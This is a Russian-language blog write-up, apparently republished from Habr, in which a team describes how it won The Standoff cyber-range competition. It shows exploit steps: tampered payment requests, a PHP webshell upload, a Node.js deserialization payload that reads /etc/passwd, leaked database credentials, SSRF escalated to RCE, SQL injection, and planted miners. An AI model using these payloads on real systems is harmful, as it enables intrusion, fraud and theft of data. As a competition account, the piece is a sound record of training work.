Русский
Русский
English
Статистика
Реклама

Как команда The Codeby выиграла кибербитву на полигоне The Standoff Часть 2

Привет, наш дорогой читатель!

Как обещали, продолжаем наш цикл статей про участие нашей команды The Codeby в кибербитве на полигоне The Standoff. Начало нашего приключения можно почитать здесь. В этот раз вы узнаете технические подробности реализованных бизнес-рисков, уязвимостей в веб-приложениях и некоторые хитрости, которые в какой-то мере помогли нам стать победителями.

Мы уже писали, что разбились на две команды и разделили цели. При этом в каждой команде был инфраструктурщик, вебер, фишер. Несмотря на то, что это дало свои плоды, оглядываясь назад, мы понимаем, что таким образом у нас уменьшилась коллаборация между специалистами одной категории. Например, для вебера со знаниями PHP попадался ресурс на Ruby, и наоборот. Из-за этого в некоторых моментах мы потеряли время, что непростительно в конкурсе, где каждая команда пытается быстрее эксплуатировать уязвимость и закрыть ее. В следующем году возможно стоит сделать разделение именно по специализациям для более быстрого захвата входных точек.

#Риски

В этом блоке я (Леша - @SooLFaa) (Rambler Group) расскажу, как нами были взяты некоторые риски в части WEB и ряд RCE.

В первый день соревнования мы сразу поделились на две команды. Те, кто пробивали внешний периметр и те кто дальше закреплялись внутри доменов (веб и инфраструктура). Я был в первой команде и сразу сконцентрировался только на одной цели - это сервис покупки авиабилетов. Хотя там были уязвимости типа SQL Injection, гадский WAF не оставлял шансов проломиться через них, тогда я стал исследовать логику работы ресурса.

Риск. Покупка бесплатных авиабилетов и билетов на аттракционы.

Для начала разобрался в логике работы процесса покупки билета, по шагам перехватывая каждый запрос в burpsuite от этапа регистрации до этапа оплаты билета.

  1. Забиваем параметры поиска и находим любой рейс.

  1. Заполняем перс. данные на нужный рейс и жмакаем кнопочку Купить.

  2. Перехватываем этот запрос в burp и видим следующее:

4) Сохраняем запрос и идем дальше.

А дальше меня перекидывает на платежный шлюз, но никаким способ купить билет не удавалось. Тогда снова прошелся по всем шагам и нашёл в исходном коде странице закомментированную форму, которая ссылается на скрипт successpayment.php с теми же именами параметров, что и запрос в пункте 3. БИНГО! Вероятно - это скрипт подтверждения оплаты.

5) Изменив в POST запросе целевой скрипт, я вернулся в свой личный кабинет и увидел в нем купленный билет.

Нашему счастью не было предела, мы подумали, что реализовали риск:

Логика простая, если билет стоил 1000 рублей, то, купив его за 0 рублей, мы кратно изменили цену. Но по замыслу организаторов - это оказалось не так. Пока наш капитан ушёл доказывать организаторам нашу правду, тем временем, Мурат (@manfromkz) проломил портал города с помощью уязвимости в заливке файлов. Всё оказалось очень просто. Под видом картинки он загрузил payload для выполнения команд на сервере.

Найти путь до картинки тоже не составило труда. Его было видно прямо в разметке HTML.

В итоге наш бэкдор выглядел так.

Скачали все исходники, залили полноценный бэкдор и ушли с этого сервера. Это оказалось нашей роковой ошибкой, но об этом я расскажу чуть позже. А тем временем, наш капитан вернулся. Оказывается - это была незапланированная уязвимость, но нам её засчитали и обозначили их как новые риски. Примечательно, что почти одновременно со мной делала тоже самое команда Deteact.

Но и это ещё не всё. Оказывается, точно такой же скрипт был и на кассе аттракционов. За дело взялся Олег (@undefi), проделав, всё тоже самое, точно таким же способом мы смогли покупать билеты и там. В итоге +2000 очков в кармане.

Дальше мы разбежались каждый по своим таргетам. Кто - то пытался проломить другие хосты, я продолжил брать риски на авиакассе, Мурат уже стрелял как из пулемета в багбаунти (за что мы его прозвали пулеметчик). Об этом он вам сам расскажет. Но вернемся к нашей кассе

Риск. Сделать недоступным регистрацию на рейс.

Тем же способом, я начал исследовать каждый запрос в функционале регистрации на рейс.

И я задумался, а что будет если из запроса удалить id документа и попытаться зарегистрировать несколько билетов на несуществующее место? Одним выстрелом я делаю сразу и то и то. Изменяем запрос. sit=-11&ticketid=6084&transfer=true&transferid=&regdoc=

Запрос, хоть и выполнился успешно, но регистрация не была пройдена. Когда я снова попытался перехватить запрос, кнопка регистрации просто не реагировала. БИНГО!!! Сломали систему регистрации, но только для одного билета.

Смотрим дальше внимательней, видим, что id билета - это числовой идентификатор.

Burp Intruder - Пришло твоё время!

Таким образом, недоступны стали все билеты для регистрации. Ну и + ещё 1000 очков.

Остался еще один риск - это

Риск. Утечка данных о пассажире со специальным идентификатором 1605157946597718.

Посмотрев исходники города слитые Муратом, обнаружили помимо файла servicelogic.php ещё файл citydump.sql - и тут пришла идея. Если есть такой файл на главном портале, значит на сайте авиакомпании может быть что - то похожее и почти сразу же угадали имя файла aviadump.sql

Изучив дамп базы, мы увидели поле regrole, которому если задать числовое значение 3, означало админскую роль. Ну а дальше всё просто, регистрируем нового пользователя с правами админа.

У нас открывается скрытый функционал. Вбиваем идентификатор..

..Иииииии.ВНИМАНИЕ!!!!

Ничего нету!!! Видимо просто до нас уже кто - то удалил эти данные. Но тем не менее риск нам засчитали.

Пора уже оставить в покое эту бедную кассу и перейти в город. Ведь там нас ждал целый дамп с исходниками, который я и начал ресерчить.

Риск. Удаление информации по штрафам и задолженностями граждан

Изучая исходник, я откопал следующие куски кода

Создание штрафов пользователям:

```

if(isset($_POST['fine']) && $_POST['fine'] == 'create'){//var_dump($_POST);die;$queryArray =['siss', $_POST['doc'], $_POST['type'], $_POST['des'], $_POST['price']];$result = $db->executeQuery('INSERT INTO fine VALUES (null, ?, ?, ?, ?)', $queryArray);if(!$result){if($db->getQueryResult($db->executeQuery('SELECT id FROM fine WHERE id = ?', ['i', $db->getLastInsertId()]))){$_SESSION['message'] = ['Fine on document: ' . $_POST['doc'] . ' was create', 'success'];}}else$_SESSION['message'] = ['Error!', 'danger'];}

Удаление штрафов пользователям:

if(isset($_POST['fine']) && $_POST['fine'] == 'delete'){//var_dump($_POST);die;$db->executeQuery('DELETE FROM fine WHERE id = ?', ['i', $_POST['fine_id']]);}

Думаю, вы уже догадались какой вектор.

Так как к тому времени вся инфраструктура уже дышала наладом и кроме нас там побывало куча человек, я решил протестировать уже найденный вектор.

Запрос на создание штрафа:

POST /server_script/service_logic.php HTTP/1.1Host: 10.126.40.247:8005User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://10.126.40.247:8005/index.php?ipage=user_pageContent-Type: application/x-www-form-urlencodedContent-Length: 53Cookie: sfcsrftoken=up9hE0W7Fb2UFDuuBczPRbO6uZmCRrbiEP0qnPSI9on6c54PPr8P8sLPkouQH7OF; PHPSESSID=h3rd6f8pruoh2c8ilpec6knlg7Connection: closeUpgrade-Insecure-Requests: 1fine=create&doc=222333&type=3&des=TEST&price=-1

В результате создан штраф Test с задолженностью -1

И запрос на удаление штрафа:

POST /server_script/service_logic.php HTTP/1.1Host: 10.126.40.247:8005User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://10.126.40.247:8005/index.php?ipage=user_pageContent-Type: application/x-www-form-urlencodedContent-Length: 53Cookie: sfcsrftoken=up9hE0W7Fb2UFDuuBczPRbO6uZmCRrbiEP0qnPSI9on6c54PPr8P8sLPkouQH7OF; PHPSESSID=h3rd6f8pruoh2c8ilpec6knlg7Connection: closeUpgrade-Insecure-Requests: 1fine=delete&fine_id=<number>

Штрафа не оказалось. Что же оформляем отчет, сдаем риск и получаем ответ от организаторов: НЕ ТАК НАДО БЛО. Риск не засчитан!. Сказать, что я был в шоке, ничего не сказать, ведь штраф удалён. И даже больше, тем же Intruderом я удалил ВСЕ ШТРАФ в системе, тем самым, сыграв в Робин Гуда и освободив мирных граждан от уплаты. Но делать нечего, продолжаем ресерчить исходники.

Организаторы непрозрачно намекнули, что надо было править в базе. И, собственно, я почти сразу нахожу в том же коде connectionString.

$db = new db('172.17.61.218:3306', 'script', ';zxxslfc', 'city');

Разумеется, напрямую с игровой сети база недоступна. Очевидно, надо снова зайти на сервер города и оттуда попытаться дернуть данные. И вот тут-то и начались танцы с бубнами. Уязвимость больше недоступна из-за жесткого WAF, который отрезал просто всё и легитимные запросы, и нелегитимные. Даже авторизоваться стало нельзя. Больше двух часов я потратил на попытки вернуться по пути Мурата, но всё тщетно. Общение с организаторами тоже ничего не дало. Что же, придется выкручиваться иначе, смотрим на сеть города и ищем другие хосты рядом, через которые мы также могли бы попасть в базу. Большинство из них были уже недоступны или закрыты WAFом (защитники тоже не спали всё это время) наши бэкдоры потеряны, но таки улыбнулась нам удача, нашли мы всё-таки хост http://10.126.40.5:3000/.

Объединившись с Муратом, стали исследовать функционал голосования.

В корне веб сервера нашли файл auth.json, который содержал ключи для авторизации.

Само же веб приложение предлагало функционал голосования, ключевый запрос которой был следующий:

POST /api/vote HTTP/1.1HOST: 10.126.40.5:3000Accept: application/json, text/javascript, */*; X-AUTH-Token: <тут длинная base64 строка> X-Requested-With: XMLHttpRequestContent-Type: application/jsonOrigin: http://10.126.40.5:3000Accept-Encoding: gzip, deflateAccept-Language: en-GB,en-US;q=0.9,en;q=0.8{"pollingName":"poll1", choice: "choice1"}

Так же нашли файл на сервере package.json и поняли, что перед нами NodeJS.

Google - наше всё, оказывается в одном из установленных пакетов была уязвимость в десериализации. Подробнее почитать можно тут (https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)

Стало ясно, что Заголовок X-Auth-Token ни что иное как JWT.

Перебором директории находим ключ для генерации JWT в файле key.pem

-----BEGIN RSA PRIVATE KEY-----Proc-Type: 4,ENCRYPTEDDEK-Info: AES-128-CBC,7704733522F767AF89374B5CFF8518F0cR8PRjShevMVpgkUBmqdNiUVpEdqIyE6RlkWpin4QGG7+vw14RLJyBqrEtGXRdR9ySRRUaLhSRSkFyDoxjHtviwhK2DOTP8jlKzUGojAbLCB7RuwQk0JSci4ixMzDEOC/59iRQH4iJbd4..Oqf4XKI9Q4cpOSCiZkdH8uaJttwUS/9JbeZG3cZQme8WKyto0ya96wkk05PtsPluRBzSFhL+rocP+-----END RSA PRIVATE KEY-----

А дальше дело техники.

Генерируем JWT токен с нагрузкой для десериализации:

{  "id": "f59b33b5-6619-45bf-adcc-5331e871f12e",  "allowedToVote": {    "poll1": "_$$ND_FUNC$$_function(){ require('child_process').exec('cat /etc/passwd > /opt/polling-app/pollings/p_testcoder', function(error, stdout, stderr) { console.log(stdout) }); }()",    "poll2": "voted",    "poll3": "voted",    "poll4": "allowed"  }}

В поле X-Auth-Token подставляем наш JWT и выполняем запрос с нагрузкой cat /etc/passwd > /opt/pollingapp/pollings/ptestcoder, которая запишет в файл /opt/polling-app/pollings/ptestcoder содержимое файла /etc/passwd.

Ну и читаем файл через Path Traversal

Сдаем Rce в Баунти и возвращаемся к штрафам. Хоть мы и получили шелл, клиента mysql не было на сервере, gopher тоже, то есть ничего, что бы помогло нам хоть как-то взаимодействовать с базой. Тогда мне пришла идея дернуть прям родными средствами NodeJs данные из базы. Нагрузка получила следующий вид:

require("mysql2").createConnection({host: "172.17.61.218:3306",user: "script",database:"city",password: ";zxxslfc"}).query("SELECT * FROM fine",function(err, results, fields) { console.log(results); });

Как вы думаете, что произошло? Ответ - ошибка: mysql2 module not found. То есть нет ничего, что помогло бы нам хоть как-то получить данные. Так как сервер отрезан от интернета npm install тоже не помог. Потанцевав ещё с бубнами, Увы и Ах, мы так и не смогли добраться до этих штрафов, все доступные ранее RCE в этой сети уже не работали из - за WAF, сам портал уже умер. Хоть и хочется закончить этот риск хэппи ендом, но, к сожалению, он так и остался не взят. Теперь вы поняли про какую роковую ошибку я говорил? Надо было, как только взяли RCE в городе, сразу проресерчить скрипт и выполнить риск со штрафами.

История про ещё одно RCE

Всё время соревнования мы периодически меняли фокус внимания на багбаунти и искали SQL Injection, SSRF, LFI на всех доступных ресурсах, занимались также уязвимостями в банке (uptime которого оставлял желать лучшего). Мурат продолжал отстреливать SQL инъекциями, я положил на стол ещё пару LFI, периодически помогая команде инфраструктуры, Олег крутил RCE в Мантисе. В общем, все были при деле. И так мы наткнулись на интересный таргет.

Система, которая позволяла рисовать календарь

Перехватив запрос, увидели следующее.

Время было 3 часа ночи. Мы с Олегом ковыряли этот сервис, но никакие вектора LFI не поддавались. Тогда мне на ум приходит идея затестить SSRF, подставив url http://свойбелыйip, я получил заветный reverse-connect. SSRF на лицо. Оформили отчет, сдали в баунти. Разумеется, стали пробовать вектора с RCE (RFI), но я всё таки решил пойти поспать свои 5 часов (именно по стольку мы спали каждый день). На утро пришёл Олег и встретил меня радостным известием, что он таки докрутил вектор до RCE. Достаточно было просто положить файл на внешний сервер с содержимым: eval(тутлюбаяunixкоманда) (Ларчик просто открывался)

А мы мудрили со всякими изощренными нагрузками типа <?php shellexec(cmd) ?>

Пример вывода ls

Посмотрев исходники, всё стало на свои места. Любая команда выполнялась если просто положить её в файл, но я делал это так <?php echo ls -la; ?> и обращался к php скрипту на своем сервере. В итоге за эту уязвимость мы получили баллы сначала как за SSRF, потом ещё как за RCE. Да, оказывается, так тоже можно было :D.

Все найденные уязвимости мы описывать не будем, большинство из них были тривиальны, некоторые были неэксплуатабельны из-за действий защитников и Wafов, если все их описывать, то боюсь, на Хабре кончатся буквы :).

Ну а теперь я подытожу свою часть, на мой взгляд, самым простым, но при этом зрелищным риском.

Риск. Вывод хакерского видео на главный экран города

До конца соревнования остаётся буквально час. В последние сутки мы договорились, что перестаем сдавать отчеты и копим их, дабы не мотивировать другие команды набирать очки. Все уже уставшие, но никто не сдаётся, отрыв с ближайшими конкурентами был всего лишь на несколько тысяч баллов, т.е. достаточно им сдать всего один большой риск и они бы нас обошли.

Забавно, что этот риск мы могли бы сделать в первый же час соревнования, когда я сбрутил учетку оператора, пароль у которой был operator, с первой же попытки :D

Но всё-таки мы его не трогали и решили посмотреть в последний момент.

Залогинившись под юзером, стали исследовать все возможные запросы и нашли следующий скрипт

Он возвращал Json - Объект пользователя с паролем для сброса. Используем его для установки нового пароля.

А дальше просто меняем ссылку на видео и весь город любуется нашим логотипом, ну и вы полюбуйтесь

Вроде всё просто? Но не тут-то было. Помимо нас в конце соревнования в этот таргет валились и другие команды и так же меняли пароль администратора всё это время, соответственно у нас то и дело умирала сессия. Началось противостояние между хакерами за право владения админской учеткой. Капитан, который даёт команду Сейчас я скажу и сразу меняй пароль прям за 5 секунд. А потом крики Твою ж *, опять не успел. В итоге буквально в последние минуты соревнования мы реализовываем, кое как оформляем и отправляем этот риск. И как оказалось не зря, всё, что мы сдали в последний час, сыграло важную роль, чтобы после закрытия соревнования сохранить лидерство.

На этом я с вами, дорогие Хабравчане, прощаюсь и передаю слово своему соратнику по команде Мурату - пулеметчику, который расскажет подробно, за что он получил своё прозвище и как он сделал большинство очков в баунти.

#Запахло горелым

Эту мини-главу расскажу я - Мурат (@manfromkz). И так, похекали поехали!

В сети компании Nuft по адресу 10.126.100.167 находился сайт для онлайн регистрации студентов на разные курсы (Online course registration - OCR). LMS на минималках. Этот ресурс помог нам заработать около 4400 очков, и вы скоро узнаете как.

Сначала была найдена слепая time-based SQL-инъекция в форме авторизации на главной странице ресурса:

Time-based SQL-инъекция на OCRTime-based SQL-инъекция на OCR

Много времени было потрачено на раскрутку этой инъекций, но в итоге хэш пароля и логин администратора удалось получить:

Эксплуатация с помощью SQLMAPЭксплуатация с помощью SQLMAPЛогин и хэш пароля администратораЛогин и хэш пароля администратора

Тут ждала еще одна засада - хэш никак не хотел брутиться. Не помогла даже специально собранная брут-машина с крутыми видеокартами и с огромными словарями. Наверняка другая команда уже вошла в систему и сменила пароль администратора на сложный. Хост был заброшен из-за этого на некоторое время.

Позже я просто попробовал ввести в форму авторизации классический вектор ' or 1='1 и тут запахло горелым. Нет, дело не только в том, что мы потратили кучу времени на раскрутку ресурсозатратной уязвимости и не в тщетных попытках брута небрутабельного хэша, а в том, что реально что-то горело. И это не то место, о котором вы возможно подумали =)

Начал чувствоваться сильный запах гари. Я срочно встал и начал вынюхивать все рабочее место, чтобы исключить неисправность кабелей или ноутбука. В рабочей комнате не смог найти источник запаха, и начал носиться по всей квартире, пока не услышал шум на лестничной площадке. Как только открыл дверь, на меня пошли клубки дыма и ужасный запах, а все соседи были на лестничной площадке, кто-то в спешке выводил своих детей на улицу. Спросил у любого рандомного соседа:

  • Нашли источник дыма?

Ответ был кратким и содержательным:

  • Да, на первом этаже.

Сказал про себя отлично, but not today!, закрыл дверь, открыл окна и продолжил исследовать хост, в надежде, что не сгорю или не задохнусь.

Not todayNot today

Вернемся к нашему объекту. После авторизации под студентом, можно редактировать свой профиль. Диоксид углерода сделал свое, и я решил просто загрузить php-файл вместо фотки студента:

Успешная загрузка файла на OCRУспешная загрузка файла на OCR

Получилось. Да, все просто. Получаем заветный шелл:

Shell CodebyShell Codeby

Шелл у нас приватный и классный (спасибо @explorer), естественно, что местами лили и общедоступные шелы и забирали шелы у других команд или даже маскировали свой под легитимные страницы.

Было предпринято огромное количество попыток повышения привилегий полученного пользователя www-data. Но как назло - ядро свежее, кривых сервисов нет, все энумерации ничего годного не показали. Палить 0day эксплойты под последние версии ядра Linux было нецелесообразно, поэтому мы решили пойти иным путем.

Так как шелл у нас приватный и классный, через пару нажатий кнопок в интерфейсе, я скачал исходный код системы OCR. BugBounty программа The Standoff принимала уязвимости типа SSRF, XXE, LFI/RFI, RCE, SQL-injection. Открыв код системы, я понял, что сейчас на нашей улице будет праздник, если не сгорю :-).

Участок кода из checkavailability.phpУчасток кода из checkavailability.phpУчасток кода из edit-course.phpУчасток кода из edit-course.phpУчасток кода из course.phpУчасток кода из course.phpУчасток кода из student-registration.phpУчасток кода из student-registration.php

Так можно продолжать еще на две страницы, если не больше. Везде ничего не фильтруется. Сколько уязвимостей видите в приведенном участке кода из файла checkavailability.php? Я вижу один. А в edit-course.php? Тоже один? Я вижу четыре. Точно так же в course.php вижу четыре SQL-инъекции, а в student-registration.php вижу еще две. Чисто технически, уязвимость каждого параметра каждого скрипта - это отдельная уязвимость. Несложная арифметика 1+4+4+2=11. Считайте уже 11*150=1650 баллов у нас в кармане. И это только начало. Просто покажу список отправленных репортов только по этому хосту и только по SQL-injection:

Отчеты для BugBounty по хосту OCRОтчеты для BugBounty по хосту OCR

Да и были конечно моменты, от которых горело не только в подъезде но и в душе, когда брали вектор, нас выпуливали, мы не сдавались и бились до конца, но иногда включались или организаторы или защитники и правили код, убирая уязвимости напрочь. Таких случаев было не мало и каждый совершенно различен, но вот просто очень охото, чтобы Вы это прочли и поняли каково это.

Изложение матное и дико увлекательное про хост 10.126.80.187 от Олега (@undefi)

Изначально, там был сервис с двумя уязвимыми файлами. Первой нашли читалку файлов, через которую прочитали исходники и нашли второй файл с RCE.

Скрипты выполнялись от рута. Залились на хост, пытались с него пробиться в локалку, но у него не было доступа. Залили агента, залили себе шелл на будущее для майнеров и пошли дальше.

Спустя какое-то время вернулись к хосту и обнаружили, что нас выкинули. Залились снова, спрятали шелл. Мура начал изучать хост, нашёл шелл другой именитой команды, выкинули их. Увидели, что шелл льётся снова, и то, что противники закрепились по крону, заблочили им каталог для залива. И снова мы оставили хост до лучших времен.

Пошли тренировать навыки на KoTH (http://personeltest.ru/aways/tryhackme.com/games/koth)

Когда настала пора майнеров, мы вернулись к хосту и обнаружили что? Правильно похекеров! Во-первых, нас снова выкинули. Во-вторых, уязвимость с RCE запатчили. Кто это был, красные или синие, нам неизвестно. Но запатчили красиво - повесили на уязвимый параметр экранирование (escapeshellargs()).

Но читалка файлов осталась.

Ранее, изучая хост, мы нашли там ещё веб-сервисы. Стали изучать через читалку и обнаружили ещё один уязвимый файл с RCE. Но картину нехило так портил WAF. Но, мы ребята не простые, поэтому щёлкнули этот файрволл и смогли залиться на хост. И вот тут начинается весь фатал-карнавал.

Заваливаемся с Мурой на хост, после стандартные команды: w, ps. А там швах: 7 или 8 рутовых ssh сессий, куча бэк коннектов. Зовём на помощь зал - Кролика, Богдана и говорим, что сейчас будет битва :)

Одновременно коннектимся к хосту, меняем рутовый пароль, начинаем рубить бэкконнекты и рвать рутовые сессии. В то же мгновение кто-то подключается снова. Снова выкидываем, одновременно судорожно пытаемся искать шеллы.

Кто-то кидает броадкаст сообщение через wall в духе: плохиши, хватит выкидывать. Выкидывают нас, мы снова заходим, идёт борьба на лучший пинг и самые быстрые пальцы.

Отрубаем bash у рута, видим, что есть ещё юзеры типа rooot, ro0t и учётки, похожие на орговские. Дропаем всех, но коннекты продолжаются. Отрубаем авторизацию ssh по паролю, меняем порт, Мура генерит ключ и на какое-то время это помогает. Выдыхаем.

В это время в чате капитанов начинается бугурт.

Мы расслабляемся, ищем неспешно шеллы, находим снова уже знакомый нам шелл, окончательно его вычищаем, заливаем агента и смотрим дальше. И тут нас выпуливают, закрывают порт ssh и дропают агента. Я так понимаю, это были организаторские властелины или те, кто увёл учётку у них.

В чате капитанов продолжается холивар, все кидаются жалобами друг в друга, мы материмся в дискорде, обстановка напряжённая, но разрядку внёс один из капитанов мемчиком.

Несколько часов спустя хост вернулся в строй после реверта, но как-то странно. Системные настройки вернули, а вот скрипт с RCE как был экранирован, так и остался до конца.

Благо, что мы нашли другую уязвимость, снова залились и просто на нём майнили и юзали, как прокси для обхода WAF на другом хосте.

Всегда стоит вернуться время спустя и root в кармане

Когда сдавали последние отчеты по данному хосту, в личные сообщения нашего капитана Тимура (@BadBlackHat) написал Михаил Левин:

Сообщение от Михаила ЛевинаСообщение от Михаила Левина

Но мы хотели еще. Только дальше не получилось, так как кто-то начал удалять базу данных хоста, причем через крон. Любая попытка восстановить базу в тот же момент проваливалась. Кто бы это не был, это было очень жестоко, но с одной стороны полезно для нас, так как мы уже успели сдать много уязвимостей. А дальнейшая судьба хоста нас мало волновала. На тот момент, сама статистика сданных уязвимостей на сайте The Standoff уж точно взбудоражила другие команды:

Статистика на тот моментСтатистика на тот момент

Кстати, после The Standoff ко мне постучался сосед и сообщил, что я его топлю. Я просмотрел все места в ванной и не нашел источник, показал соседу. Он побежал на этаж выше. Источник был там. Оказывается моя квартира выступила как прокси для соседа выше, чтобы тот затопил соседа подо мной. Так что, можно смело сказать - огонь и медные трубы я прошел.

А турнирная таблица выглядела так:

Турнирная таблицаТурнирная таблица

Вы скажете всего лишь третье место, а я скажу всего лишь расслабленные соперники. Об этом в хитростях, в следующей мини-главе. А мораль сей басни - если есть возможность, всегда скачивайте исходники для ручного анализа.

#Хитрости

Любой нами отправленный баг в BugBounty программу почти моментально фиксился, не оставляя шансов на закрепление. Иногда просто отрубали весь сервис, иногда удаляли весь уязвимый скрипт, иногда забрасывали все под фаервол. Да, правильных патчей было мизерное количество. И тут мы начали задумываться, а зачем гонятся за баллами в BugBounty, если это отрезает нам путь для дальнейшего исследования инфраструктуры? Какая разница, на какой строчке мы находимся в турнирной таблице, если важна только конечная позиция? Ведь хорошо смеется тот, кто смеется последним.

И тут в общем чате для репортов начались появляться такие репорты:

Хитрый планХитрый планЗапасыЗапасыХитрейший планХитрейший план

Думаю, суть ясна. Отчеты можно было сдать в самом конце, дав соперникам возможность расслабиться. Но правда реализованные риски все равно вывели нас на первое место, и запас был почти бесполезен, но укрепил нашу позицию. Были и другие козыри в виде большого количества захваченных хостов на инфраструктуре, но об этом в сл. части.

# До встречи в SCADA

Пишу на правах вице-капитана (@clevergod) отступление к 3-й и самой огромной и невероятно захватывающей части.

Таких ситуаций за 5 суток, чистым материалом набралось вагон и маленькая тележка и поверьте затронутые в статье вещи, никогда не опишут самого процесса участия. Инфраструктура менялась на ходу и была очень большой и не статичной. Замечаете разницу наших статей от статей, поданных другими командами с прошлых PHDays? Мы всегда мечтали почитать подобный материал, для простых ребят, чтобы не читалось, как статья вендора или газета Правда. Мы хотим лишь доступно пояснить все, что мы переживали, какие были эмоции, трудности, успехи, что приходилось делать для победы и что у каждого из нас были помимо битвы семейные и рабочие дела, различные ЧП. Но не смотря на все это, мы ни разу не повздорили и старались выйти из даже самых трудных или тупиковых ситуаций. В следующей части, надеемся заключительной, мы опишем инфраструктурный процесс. Как мы брали хосты, как боролись с другими командами за звание короля горы, как нас переполняли эмоции при регулярном отлупе, как мы развернули самую масштабную майниг-ферму и многое другое. Вместо тысячи слов, подогревая интерес, покажу, что Вас ждет дальше.

Хотим от всей команды попросить организаторов не менять условия участия на кибер-полигоне и не переносить ИС в локальный режим, мы на удаленке отлично играли и собраться всем в одном месте на 5 суток будет крайне проблематично. А еще огромная просьба, реализовать окончание кибер-битвы за день до конца мероприятия, мы очень хотим посмотреть на доклады.

Источник: habr.com
К списку статей
Опубликовано: 11.02.2021 14:07:02
0

Сейчас читают

Комментариев (0)
Имя
Электронная почта

Информационная безопасность

Хакатоны

Ctf

Киберспорт

The standoff

Кибербезопасность

Codeby

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru